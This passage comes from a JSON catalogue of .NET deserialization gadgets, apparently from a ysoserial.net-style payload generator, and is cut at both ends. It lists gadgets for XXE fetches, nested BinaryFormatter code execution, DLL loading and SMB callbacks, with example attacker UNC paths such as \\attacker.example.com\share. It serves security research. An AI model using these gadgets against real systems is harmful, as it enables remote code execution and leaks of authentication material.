into the DTD external identifier exactly as typed, with no trimming. Normal mode accepts an absolute http or https URL and refuses whitespace, control characters and the characters \" < > \\, because the value goes inside a QUOTED DTD external identifier and those would corrupt or escape it. Use this only for research on a resolver that accepts something else; the network effect this gadget declares was proven with http(s). It does NOT turn off the outer formatter's escaping, so the payload is still a valid document - but nothing checks that the identifier inside it still is, and a broken one simply fetches nothing.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["network"], "formatters": ["Xaml", "JavaScriptSerializer", "FastJson", "SharpSerializerXml", "SharpSerializerBinary"], "inputs": ["remote-url"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DataViewManagerXxeGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "DynamicUpdateMapExtension", "description": "DynamicUpdateMapExtension is a public MarkupExtension whose XmlContent hands an x:XData section to NetDataContractSerializer.ReadObject with no binder, so a XAML-only sink carries any NDCS gadget. Needs System.Activities on the target.", "labels": ["A bridged gadget", "Second order deserialization"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "NetDataContractSerializer", "formatters": [{"name": "Xaml", "declaration": "Xaml"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization", "code-execution"], "formatters": ["Xaml"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.DynamicUpdateMapExtensionGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "FileLogTraceListener", "description": "Microsoft.VisualBasic.Logging.FileLogTraceListener creates the supplied directory through CustomLocation. With elevated privileges, directory creation in sensitive locations may cause denial of service. On .NET Framework 3.5 both JavaScriptSerializer and DataContractJsonSerializer reach it with --legacyfx (Microsoft.VisualBasic is 8.0.0.0 there, not 10.0.0.0); DataContractJsonSerializer additionally needs a consumer whose root type is that same identity.", "labels": ["An independent gadget"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "TargetPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "FastJson", "declaration": "FastJson"}, {"name": "JavaScriptSerializer", "declaration": "JavaScriptSerializer"}, {"name": "YamlDotNet", "declaration": "YamlDotNet < 5.0.0"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}, {"name": "SharpSerializerXml", "declaration": "SharpSerializerXml"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "Xaml", "declaration": "Xaml"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["file-system"], "formatters": ["Json.NET", "FastJson", "JavaScriptSerializer", "YamlDotNet", "MessagePackTypeless", "MessagePackTypelessLz4", "SharpSerializerXml", "DataContractJsonSerializer", "Xaml"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-3.5", "net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.FileLogTraceListenerGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "FileSystemInfo", "description": "Normalizes your path on the target. A UNC path with a short-name (~) component makes it reach that host over SMB.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "UncPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer (2)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer (2)"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer (2)"}, {"name": "Json.NET", "declaration": "Json.NET (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which concrete FileSystemInfo the payload names. Both do the same thing to the target - their serialization constructors both run the base FileSystemInfo one, which normalizes -c - and the callback happens before either of their own permission checks. Choices:\r\n1 (default) - System.IO.DirectoryInfo.\r\n2 - System.IO.FileInfo. It adds a FileIOPermission read demand on the normalized path, which only matters if the target runs partially trusted; the callback has already happened by then.\r\n\r\nWHAT TO PUT IN -c. Anything the target's Path normalization accepts. The interesting shape is a UNC path with an MS-DOS short-name component, because mscorlib then asks the remote host to expand it with GetLongPathNameW, and that is the outbound SMB request:\r\n \\\\attacker.example.com\\share\\aaaaaa~1\\x\r\n \\\\attacker.example.com\\share\\aaaaaa~1\r\nThe rule mscorlib applies is that some path COMPONENT contains \"~\" and is at most 12 characters long. So \\\\host\\share\\file calls out to nobody, and so does \\\\host\\share\\a-long-name~1\\x, whose \"~\" component is too long. Nothing is refused here - a target's own path handling is what you are testing - but --debugmode says when the value cannot trigger the expansion.\r\n\r\nWHAT A CALLBACK PROVES. That the target resolved your host and tried to reach it. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint.\r\n\r\n-t IS ACCEPTED and it deserializes the payload HERE, so THIS machine does the callback to the host you named - the same as on the other network gadgets. Windows sends authentication material when it opens an SMB session, so only point -t at an endpoint you own, and do not use it on a machine whose outbound traffic you would rather not explain.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "rawinput", "aliases": ["rawinput"], "description": "Put -c into the payload template exactly as typed, instead of escaping it for the selected formatter. Normal mode escapes it, which is what a Windows path needs: every backslash is doubled inside a JSON string, and \"&\" and \"<\" are escaped inside the XML documents. Use this only when you have already escaped the value yourself for the format you picked. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "System.IO.DirectoryInfo (default)", "isDefault": true, "commandInput": "UncPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "System.IO.FileInfo - same callback, plus a FileIOPermission read demand", "isDefault": false, "commandInput": "UncPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["network"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer", "DataContractSerializer", "DataContractJsonSerializer", "Json.NET"], "inputs": ["unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["network"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter", "NetDataContractSerializer", "DataContractSerializer", "DataContractJsonSerializer", "Json.NET"], "inputs": ["unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.FileSystemInfoGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "FileSystemInfoTimeSetter", "description": "Sets a timestamp on the path you give, on the target. Any UNC path opens an SMB session to that host - no short name needed.", "labels": ["An independent gadget"], "credit": "[Finders: James Forshaw] [Contributors: Soroush Dalili]", "finders": "James Forshaw", "contributors": "Soroush Dalili", "commandInput": "UncPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Xaml", "declaration": "Xaml (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Which concrete FileSystemInfo the payload constructs. Both reach the same open of your path; they differ in which framework helper gets there.\r\n1 (default) - System.IO.DirectoryInfo. The setter calls Directory.SetXxxTimeUtc, which opens a handle with backup semantics.\r\n2 - System.IO.FileInfo. The setter calls File.SetXxxTimeUtc, which is new FileStream(path, FileMode.Open, FileAccess.Write, FileShare.ReadWrite, 1).\r\n\r\nWHAT TO PUT IN -c. Any path the target's file system accepts. The interesting shape is a plain UNC path:\r\n \\\\attacker.example.com\\share\\x\r\nUnlike the serialization-constructor route, nothing here needs an MS-DOS short-name (\"~\") component: the path is opened directly, so any UNC path reaches the host. FileMode.Open never creates a file, so a share that does not exist still costs the target the connect.\r\n\r\nWHAT A CALLBACK PROVES. That the target resolved your host and tried to open the path. It does NOT prove a completed SMB session, NTLM authentication, captured credentials or a relay: those depend on the target, the network and your endpoint.\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}, {"prototype": "member=", "aliases": ["member"], "description": "Which timestamp property the payload assigns.\r\nChoices: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc. Default: \"LastWriteTimeUtc\".\r\n\r\nAll six reach the same open of -c, so the choice matters only for a target that filters, logs or matches on the member NAME. The three ending in Utc are the real setters; the other three assign their Utc twin after ToUniversalTime(), which is the same sink one frame further out.\r\n\r\nThe timestamp value is fixed at 2001-02-03T04:05:06.0000000 and is not an option, because the open happens before the value is used, so it changes nothing about whether the payload lands.\r\n\r\n-t IS ACCEPTED and it deserializes the payload HERE, so THIS machine opens the path you named - the same as on the other network gadgets. Against a UNC path that is your callback, and Windows sends authentication material when it opens an SMB session, so only point it at an endpoint you own. Against an existing LOCAL file it really does change that file's timestamp to the value above. FileMode.Open means it never creates a file that was not there.\nDefault value: \"LastWriteTimeUtc\".\nSuggested values: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "LastWriteTimeUtc", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["CreationTime", "CreationTimeUtc", "LastAccessTime", "LastAccessTimeUtc", "LastWriteTime", "LastWriteTimeUtc"]}, {"prototype": "rawinput", "aliases": ["rawinput"], "description": "Put -c into the payload template exactly as typed, instead of escaping it for XML. Normal mode escapes \"&\", \"<\" and \">\", which is what the text node holding your path needs. Use this only when you have already escaped the value yourself. It also turns off the check that the finished payload still carries your path unchanged, because there is then no text of yours left to compare against.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [{"number": 1, "label": "System.IO.DirectoryInfo (default) - Directory.SetXxxTimeUtc", "isDefault": true, "commandInput": "UncPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "System.IO.FileInfo - File.SetXxxTimeUtc, which opens the path for write", "isDefault": false, "commandInput": "UncPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["network", "file-system"], "formatters": ["Xaml"], "inputs": ["unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["network", "file-system"], "formatters": ["Xaml"], "inputs": ["unc-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.FileSystemInfoTimeSetterGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "FileSystemProxyCurrentDirectory", "description": "Sets the target process working directory, so every later relative path in it resolves where you chose. Not code execution on its own.", "labels": ["An independent gadget"], "credit": "[Finders: Piotr Bazydlo] [Contributors: Soroush Dalili]", "finders": "Piotr Bazydlo", "contributors": "Soroush Dalili", "commandInput": "TargetPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "MessagePackTypeless", "declaration": "MessagePackTypeless"}, {"name": "MessagePackTypelessLz4", "declaration": "MessagePackTypelessLz4"}], "options": [{"prototype": "rawinput", "aliases": ["rawinput"], "description": "Pass -c verbatim into the payload template instead of escaping it for the selected formatter. Use this only for already-escaped input.\nDefault value: \"false\".", "valueArity": "none", "metadataDeclared": true, "defaultValue": "false", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": []}], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["file-system"], "formatters": ["Json.NET", "NetDataContractSerializer", "DataContractSerializer", "DataContractJsonSerializer", "MessagePackTypeless", "MessagePackTypelessLz4"], "inputs": ["target-path"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.FileSystemProxyCurrentDirectoryGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "FormsIdentity", "description": "System.Web.Security.FormsIdentity (System.Web, built-in) inherits ClaimsIdentity; sets the inherited ClaimsIdentity+m_serializedClaims field, which the OnDeserialized callback base64-decodes and runs through a nested BinaryFormatter. Alternate root type for the ClaimsIdentity nested-BinaryFormatter sink.", "labels": ["A bridged gadget", "Uses OnDeserialized attribute"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.FormsIdentityGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "GenericIdentity", "description": "System.Security.Principal.GenericIdentity (mscorlib, built-in) inherits ClaimsIdentity; sets the inherited ClaimsIdentity+m_serializedClaims field, which the OnDeserialized callback base64-decodes and runs through a nested BinaryFormatter. Alternate root type name for the ClaimsIdentity nested-BinaryFormatter sink.", "labels": ["A bridged gadget", "Uses OnDeserialized attribute"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter"}, {"name": "SoapFormatter", "declaration": "SoapFormatter"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter"}], "options": [], "variants": [], "targetCapabilities": [{"variant": null, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.GenericIdentityGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "GenericPrincipal", "description": "", "labels": ["A bridged gadget", "Uses OnDeserialized attribute", "Second order deserialization"], "credit": "[Finders: Soroush Dalili]", "finders": "Soroush Dalili", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "BinaryFormatter", "declaration": "BinaryFormatter (2)"}, {"name": "SoapFormatter", "declaration": "SoapFormatter (2)"}, {"name": "DataContractSerializer", "declaration": "DataContractSerializer"}, {"name": "DataContractJsonSerializer", "declaration": "DataContractJsonSerializer"}, {"name": "NetDataContractSerializer", "declaration": "NetDataContractSerializer"}, {"name": "LosFormatter", "declaration": "LosFormatter (2)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Payload variant number. The (N) formatter suffix counts these variants; bare formatters support only variant 1. Choices: 1 (uses serialized ClaimsIdentities), 2 (uses serialized Claims)\nDefault value: \"1\".\nSuggested values: 1, 2.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2"]}], "variants": [{"number": 1, "label": "payload in m_serializedClaimsIdentities (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "payload in ClaimsIdentity m_serializedClaims", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": ["DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer"], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "DataContractSerializer", "DataContractJsonSerializer", "NetDataContractSerializer", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["BinaryFormatter", "SoapFormatter", "LosFormatter"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.GenericPrincipalGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "GetterCompilerResults", "description": "Remote DLL loading gadget for .NET 5/6/7 with WPF enabled (mixed DLL). Local DLL loading for .NET Framework if System.CodeDom is available. DLL path delivered with -c argument", "labels": ["Chain of arbitrary getter call", "An independent gadget", "Remote DLL loading for .NET 5/6/7 with WPF Enabled, Local DLL loading for .NET Framework if System.CodeDom is available"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "DllPath", "supportsLegacyFx": true, "bridgedFormatter": null, "formatters": [{"name": "Json.NET", "declaration": "Json.NET (4)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, \r\n2 - ComboBox getter-call gadget (may load DLL twice)\r\n3 - ListBox getter-call gadget\r\n4 - CheckedListBox getter-call gadget\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4"]}], "variants": [{"number": 1, "label": "PropertyGrid getter (default)", "isDefault": true, "commandInput": "DllPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "ComboBox getter (may load DLL twice)", "isDefault": false, "commandInput": "DllPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "ListBox getter", "isDefault": false, "commandInput": "DllPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 4, "label": "CheckedListBox getter", "isDefault": false, "commandInput": "DllPath", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["code-execution"], "formatters": ["Json.NET"], "inputs": ["assembly-file", "unc-path"], "requirements": ["net-framework", "modern-dotnet"], "runtimeVersions": ["net-5.0", "net-6.0", "net-7.0"]}, {"variant": 2, "kinds": ["code-execution"], "formatters": ["Json.NET"], "inputs": ["assembly-file", "unc-path"], "requirements": ["net-framework", "modern-dotnet"], "runtimeVersions": ["net-5.0", "net-6.0", "net-7.0"]}, {"variant": 3, "kinds": ["code-execution"], "formatters": ["Json.NET"], "inputs": ["assembly-file", "unc-path"], "requirements": ["net-framework", "modern-dotnet"], "runtimeVersions": ["net-5.0", "net-6.0", "net-7.0"]}, {"variant": 4, "kinds": ["code-execution"], "formatters": ["Json.NET"], "inputs": ["assembly-file", "unc-path"], "requirements": ["net-framework", "modern-dotnet"], "runtimeVersions": ["net-5.0", "net-6.0", "net-7.0"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.GetterCompilerResultsGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "GetterSecurityException", "description": "", "labels": ["A bridged gadget", "Chain of arbitrary getter call"], "credit": "[Finders: Piotr Bazydlo]", "finders": "Piotr Bazydlo", "contributors": "", "commandInput": "ShellCommand", "supportsLegacyFx": true, "bridgedFormatter": "BinaryFormatter", "formatters": [{"name": "Json.NET", "declaration": "Json.NET (4)"}], "options": [{"prototype": "var|variant=", "aliases": ["var", "variant"], "description": "Variant number. Variant defines a different getter-call gadget. Choices: \r\n1 (default) - PropertyGrid getter-call gadget, \r\n2 - ComboBox getter-call gadget (may execute code twice)\r\n3 - ListBox getter-call gadget\r\n4 - CheckedListBox getter-call gadget\nDefault value: \"1\".\nSuggested values: 1, 2, 3, 4.", "valueArity": "required", "metadataDeclared": true, "defaultValue": "1", "required": false, "prefillDefault": true, "allowCustom": true, "valueSource": "none", "choices": ["1", "2", "3", "4"]}], "variants": [{"number": 1, "label": "PropertyGrid getter (default)", "isDefault": true, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 2, "label": "ComboBox getter (may execute code twice)", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 3, "label": "ListBox getter", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}, {"number": 4, "label": "CheckedListBox getter", "isDefault": false, "commandInput": "ShellCommand", "unsupportedFormatters": [], "unusedOptions": [], "refusesSelfTest": false}], "targetCapabilities": [{"variant": 1, "kinds": ["nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 2, "kinds": ["nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 3, "kinds": ["nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}, {"variant": 4, "kinds": ["nested-deserialization"], "formatters": ["Json.NET"], "inputs": ["command"], "requirements": ["built-in", "net-framework"], "runtimeVersions": ["net-fx-4.0", "net-fx-4.5", "net-fx-4.5.1", "net-fx-4.5.2", "net-fx-4.6", "net-fx-4.6.1", "net-fx-4.6.2", "net-fx-4.7", "net-fx-4.7.1", "net-fx-4.7.2", "net-fx-4.8", "net-fx-4.8.1"]}], "evidence": {"status": "declaration-only", "measuredInThisInvocation": false, "references": [{"kind": "source-symbol", "reference": "ysonet.Generators.GetterSecurityExceptionGenerator", "members": ["Facets", "Variants", "SupportedFormatters", "Options"]}, {"kind": "documentation", "reference": "docs/ARCHITECTURE.md"}, {"kind": "test-policy", "reference": "docs/building-and-testing.md"}]}}, {"name": "GetterSettingsPropertyValue", "description": "", "labels": ["A bridged gadget", 